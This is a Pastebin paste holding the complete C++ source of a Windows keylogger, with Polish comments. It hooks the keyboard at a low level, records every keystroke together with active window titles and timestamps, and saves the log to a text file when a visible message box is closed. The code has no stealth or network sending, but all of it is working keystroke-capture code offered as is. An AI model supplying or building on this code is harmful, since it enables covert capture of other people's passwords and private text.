Advertisement
Guest User

Untitled

a guest
Apr 26th, 2017
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 23.73 KB | None | 0 0
  1. #include <iostream>
  2. #include <fstream>
  3. #include <Windows.h>
  4.  
  5. HHOOK hKeyboardHook = 0;
  6. std::string LogFile;
  7. HWND hCurrentWindow;
  8. char sWindowTitle[256];
  9. char cReturn[] = {13, 10};
  10. std::ofstream fLogFile;
  11. SYSTEMTIME SystemTime;
  12. char cTime[64];
  13. char cFileName[64];
  14.  
  15. LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
  16. {
  17. KBDLLHOOKSTRUCT *pKbdLLHookStruct = (KBDLLHOOKSTRUCT *)lParam;
  18.  
  19. if (nCode >= 0)
  20. {
  21. if (wParam == WM_KEYUP)
  22. {
  23. if(hCurrentWindow != GetForegroundWindow())
  24. {
  25. hCurrentWindow = GetForegroundWindow();
  26. GetWindowText(hCurrentWindow, sWindowTitle, 256);
  27. GetSystemTime(&SystemTime);
  28. sprintf_s(cTime, "[ Czas: %02d:%02d:%02d, ", SystemTime.wHour, SystemTime.wMinute, SystemTime.wSecond);
  29. LogFile += cReturn;
  30. LogFile += cTime;
  31. LogFile += " Nazwa okna: ";
  32. LogFile += sWindowTitle;
  33. LogFile += " ]";
  34. LogFile += cReturn;
  35. }
  36. switch(pKbdLLHookStruct->vkCode)
  37. {
  38. case VK_RETURN:
  39. LogFile += "[Enter]";
  40. LogFile += cReturn;
  41.  
  42. break;
  43. case VK_BACK:
  44. LogFile += "[Backspace]";
  45. break;
  46. case VK_ESCAPE:
  47. LogFile += "[Escape]";
  48. break;
  49. case VK_CAPITAL:
  50. LogFile += "[Capslock]";
  51. break;
  52. case VK_LMENU:
  53. LogFile += "[LAlt]";
  54. break;
  55. case VK_RMENU:
  56. LogFile += "[RAlt]";
  57. break;
  58. case VK_MENU:
  59. LogFile += "[Alt]";
  60. break;
  61. case VK_CONTROL:
  62. LogFile += "[Ctrl]";
  63. break;
  64. case VK_DELETE:
  65. LogFile += "[Delete]";
  66. break;
  67. case VK_SPACE:
  68. LogFile += " ";
  69. break;
  70. case VK_MULTIPLY:
  71. LogFile += "*";
  72. break;
  73. case VK_ADD:
  74. LogFile += "+";
  75. break;
  76. case VK_SUBTRACT:
  77. LogFile += "-";
  78. break;
  79. case VK_DECIMAL:
  80. LogFile += ".";
  81. break;
  82. case VK_DIVIDE:
  83. LogFile += "/";
  84. break;
  85. case 188:
  86. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  87. LogFile += "<";
  88. else
  89. LogFile += ",";
  90. break;
  91. case 192:
  92. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  93. LogFile += "~~";
  94. else
  95. LogFile += "`";
  96. break;
  97. case 222:
  98. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  99. LogFile += "\"";
  100. else
  101. LogFile += "'";
  102. break;
  103. case 220:
  104. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  105. LogFile += "|";
  106. else
  107. LogFile += "\\";
  108. break;
  109. case 219:
  110. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  111. LogFile += "{";
  112. else
  113. LogFile += "[";
  114. break;
  115. case 221:
  116. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  117. LogFile += "}";
  118. else
  119. LogFile += "]";
  120. break;
  121. case 186:
  122. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  123. LogFile += ":";
  124. else
  125. LogFile += ";";
  126. break;
  127. case 191:
  128. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  129. LogFile += "?";
  130. else
  131. LogFile += "/";
  132. break;
  133. case 190:
  134. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  135. LogFile += ">";
  136. else
  137. LogFile += ".";
  138. break;
  139. case 44:
  140. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  141. LogFile += "<";
  142. else
  143. LogFile += ",";
  144. break;
  145. case 187:
  146. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  147. LogFile += "+";
  148. else
  149. LogFile += "=";
  150. break;
  151. case 189:
  152. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  153. LogFile += "_";
  154. else
  155. LogFile += "-";
  156. break;
  157. case 65:
  158. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  159. LogFile += "A";
  160. else
  161. LogFile += "a";
  162. break;
  163. case 66:
  164. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  165. LogFile += "B";
  166. else
  167. LogFile += "b";
  168. break;
  169. case 67:
  170. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  171. LogFile += "C";
  172. else
  173. LogFile += "c";
  174. break;
  175. case 68:
  176. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  177. LogFile += "D";
  178. else
  179. LogFile += "d";
  180. break;
  181. case 69:
  182. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  183. LogFile += "E";
  184. else
  185. LogFile += "e";
  186. break;
  187. case 70:
  188. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  189. LogFile += "F";
  190. else
  191. LogFile += "f";
  192. break;
  193. case 71:
  194. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  195. LogFile += "G";
  196. else
  197. LogFile += "g";
  198. break;
  199. case 72:
  200. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  201. LogFile += "H";
  202. else
  203. LogFile += "h";
  204. break;
  205. case 73:
  206. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  207. LogFile += "I";
  208. else
  209. LogFile += "i";
  210. break;
  211. case 74:
  212. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  213. LogFile += "J";
  214. else
  215. LogFile += "j";
  216. break;
  217. case 75:
  218. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  219. LogFile += "K";
  220. else
  221. LogFile += "k";
  222. break;
  223. case 76:
  224. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  225. LogFile += "L";
  226. else
  227. LogFile += "l";
  228. break;
  229. case 77:
  230. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  231. LogFile += "M";
  232. else
  233. LogFile += "m";
  234. break;
  235. case 78:
  236. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  237. LogFile += "N";
  238. else
  239. LogFile += "n";
  240. break;
  241. case 79:
  242. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  243. LogFile += "O";
  244. else
  245. LogFile += "o";
  246. break;
  247. case 80:
  248. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  249. LogFile += "P";
  250. else
  251. LogFile += "p";
  252. break;
  253. case 81:
  254. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  255. LogFile += "Q";
  256. else
  257. LogFile += "q";
  258. break;
  259. case 82:
  260. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  261. LogFile += "R";
  262. else
  263. LogFile += "r";
  264. break;
  265. case 83:
  266. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  267. LogFile += "S";
  268. else
  269. LogFile += "s";
  270. break;
  271. case 84:
  272. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  273. LogFile += "T";
  274. else
  275. LogFile += "t";
  276. break;
  277. case 85:
  278. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  279. LogFile += "U";
  280. else
  281. LogFile += "u";
  282. break;
  283. case 86:
  284. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  285. LogFile += "V";
  286. else
  287. LogFile += "v";
  288. break;
  289. case 87:
  290. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  291. LogFile += "W";
  292. else
  293. LogFile += "w";
  294. break;
  295. case 88:
  296. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  297. LogFile += "X";
  298. else
  299. LogFile += "x";
  300. break;
  301. case 89:
  302. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  303. LogFile += "Y";
  304. else
  305. LogFile += "y";
  306. break;
  307. case 90:
  308. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  309. LogFile += "Z";
  310. else
  311. LogFile += "z";
  312. break;
  313. case VK_NUMPAD0:
  314. LogFile += "0";
  315. break;
  316. case VK_NUMPAD1:
  317. LogFile += "1";
  318. break;
  319. case VK_NUMPAD2:
  320. LogFile += "2";
  321. break;
  322. case VK_NUMPAD3:
  323. LogFile += "3";
  324. break;
  325. case VK_NUMPAD4:
  326. LogFile += "4";
  327. break;
  328. case VK_NUMPAD5:
  329. LogFile += "5";
  330. break;
  331. case VK_NUMPAD6:
  332. LogFile += "6";
  333. break;
  334. case VK_NUMPAD7:
  335. LogFile += "7";
  336. break;
  337. case VK_NUMPAD8:
  338. LogFile += "8";
  339. break;
  340. case VK_NUMPAD9:
  341. LogFile += "9";
  342. break;
  343. case 48:
  344. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  345. LogFile += ")";
  346. else
  347. LogFile += "0";
  348. break;
  349. case 49:
  350. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  351. LogFile += "!";
  352. else
  353. LogFile += "1";
  354. break;
  355. case 50:
  356. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  357. LogFile += "@";
  358. else
  359. LogFile += "2";
  360. break;
  361. case 51:
  362. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  363. LogFile += "#";
  364. else
  365. LogFile += "3";
  366. break;
  367. case 52:
  368. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  369. LogFile += "$";
  370. else
  371. LogFile += "4";
  372. break;
  373. case 53:
  374. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  375. LogFile += "%";
  376. else
  377. LogFile += "5";
  378. break;
  379. case 54:
  380. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  381. LogFile += "^";
  382. else
  383. LogFile += "6";
  384. break;
  385. case 55:
  386. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  387. LogFile += "&";
  388. else
  389. LogFile += "7";
  390. break;
  391. case 56:
  392. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  393. LogFile += "*";
  394. else
  395. LogFile += "8";
  396. break;
  397. case 57:
  398. if(GetAsyncKeyState(VK_LSHIFT) | GetAsyncKeyState(VK_RSHIFT))
  399. LogFile += "(";
  400. else
  401. LogFile += "9";
  402. break;
  403. }
  404. }
  405. }
  406.  
  407. return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
  408. }
  409.  
  410. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
  411. {
  412. hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)LowLevelKeyboardProc, GetModuleHandle(0), 0);
  413. if(hKeyboardHook == NULL)
  414. MessageBox(0, "Funkcja SetWindowsHookEx nie powiodła się.", 0, 0);
  415.  
  416. MessageBox(0, "Keylogger jest aktywny. Wciśnij OK, aby zakończyć jego pracę i zapisać log do pliku.", "Informacja", 0);
  417.  
  418. // pobierz czas i datę, i doklej ją do nazwy pliku
  419. GetSystemTime(&SystemTime);
  420. sprintf_s(cFileName, "log%02d_%02d_%02d-%02d-%d.txt", SystemTime.wHour, SystemTime.wMinute, SystemTime.wDay, SystemTime.wMonth, SystemTime.wYear);
  421.  
  422. // zapisz log do pliku
  423. fLogFile.open(cFileName);
  424. fLogFile << LogFile.c_str();
  425. fLogFile.close();
  426.  
  427. if(UnhookWindowsHookEx(hKeyboardHook) == 0)
  428. MessageBox(0, "Funkcja UnhookWindowsHookEx nie powiodła się.", 0, 0);
  429.  
  430. return EXIT_SUCCESS;
  431. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement